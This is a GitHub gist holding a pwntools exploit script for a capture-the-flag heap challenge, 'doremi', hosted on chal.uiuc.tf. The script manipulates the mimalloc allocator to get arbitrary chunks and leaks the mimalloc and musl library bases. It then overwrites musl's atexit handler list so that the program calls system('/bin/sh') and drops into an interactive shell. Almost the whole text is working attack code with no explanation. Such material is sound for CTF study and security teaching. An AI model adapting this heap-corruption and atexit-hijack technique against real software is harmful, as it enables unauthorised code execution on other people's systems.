Created
July 28, 2025 03:51
-
-
Save pawnlord/5ebed2e48fe1675339fd871bdac01cf4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
chal = ELF("./chal") | |
context.binary = chal | |
musl = ELF("./libc.musl-x86_64.so.1") | |
mimalloc = ELF("./libmimalloc.so.2.2") | |
r = remote("doremi.chal.uiuc.tf", 1337, ssl=True) | |
r.recvuntil(b"YAHNC> ") | |
def create(i): | |
r.sendline(b'1') | |
r.sendline(str(i).encode()) | |
r.recvuntil(b"YAHNC> ") | |
def free(i): | |
r.sendline(b'2') | |
r.sendline(str(i).encode()) | |
r.recvuntil(b"YAHNC> ") | |
def read(i): | |
r.sendline(b'3') | |
r.recvuntil(b"Position? (0-15): ") | |
r.sendline(str(i).encode()) | |
return r.recvuntil(b"\nDone!\nYAHNC> ").replace(b"\nDone!\nYAHNC> ", b"") | |
def write(i, payload): | |
r.sendline(b'4') | |
r.sendline(str(i).encode()) | |
r.sendline(payload) | |
r.recvuntil(b"YAHNC> ") | |
def arb_chunk(idx, addr=None, n=0): | |
print("# Creating and freeing chunks...") | |
create(0) | |
create(1) | |
free(0) | |
free(1) | |
if addr is None: | |
print("# Getting heap leak...") | |
heap_leak_full = read(1) | |
heap_leak = (u64(heap_leak_full[:8]) & (~0xFFFFF)) | |
print("# Writing target address...") | |
if addr is None: | |
write(1, p64(heap_leak)) | |
else: | |
write(1, p64(addr)) | |
print("# Setting free to local_free...") | |
for i in range(32 - 2 - n): | |
create(2) | |
print("# Creating target notes...") | |
create(2) | |
create(idx) | |
arb_chunk(3) | |
print("# Reading chunk 3 (mimalloc leak note)...") | |
mimalloc_leak_full = read(3) | |
print(mimalloc_leak_full.hex()) | |
mi_subproc_default = u64(mimalloc_leak_full[0x28:0x30]) | |
print("'mi_subproc_default`:", hex(mi_subproc_default)) | |
mimalloc.address = mi_subproc_default - mimalloc.symbols["mi_subproc_default"] | |
print("libmimalloc base:", hex(mimalloc.address)) | |
musl.address = mimalloc.address + 0x33000 | |
print("musl base:", hex(musl.address)) | |
HEAD = 0xa4d88 + musl.address | |
SLOTS = 0xa4fa4 + musl.address | |
print("musl atexit head:", hex(HEAD)) | |
print("musl atexit slots:", hex(SLOTS)) | |
fake_fl = [p64(0x0)] + ([p64(0x0)] * 32) + [p64(0x0)] | |
fake_fl[1] = p64(musl.symbols["system"]) | |
print("# Creating fake chunks...") | |
create(0) | |
create(1) | |
create(2) | |
create(3) | |
create(4) | |
print("# Reading fake chunk addresses...") | |
fake_chunk1 = read(0)[:8] | |
fake_chunk1_5 = read(1)[:8] | |
fake_chunk2 = read(3)[:8] | |
print(fake_chunk1) | |
print(fake_chunk1_5) | |
print(fake_chunk2) | |
fake_fl[32 + 1] = fake_chunk2 | |
fake_fl = b''.join(fake_fl) | |
print("# Writing the fake struct fl to the chunks") | |
write(1, fake_fl[:126]) | |
write(3, fake_fl[256:(256 + 128 - 2)]) | |
write(4, b'/bin/sh\x00') | |
print("# Creating notes that overlap with atexit's head...") | |
print(hex(HEAD - 24)) | |
arb_chunk(7, HEAD - 24, n=5) | |
print("# Creating notes that overlap with atexit's slots...") | |
print(p64(SLOTS)) | |
arb_chunk(8, SLOTS) | |
print("# Overwriting head and slots...") | |
write(8, p64(1)) | |
write(7, b'a'*24 + fake_chunk1) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment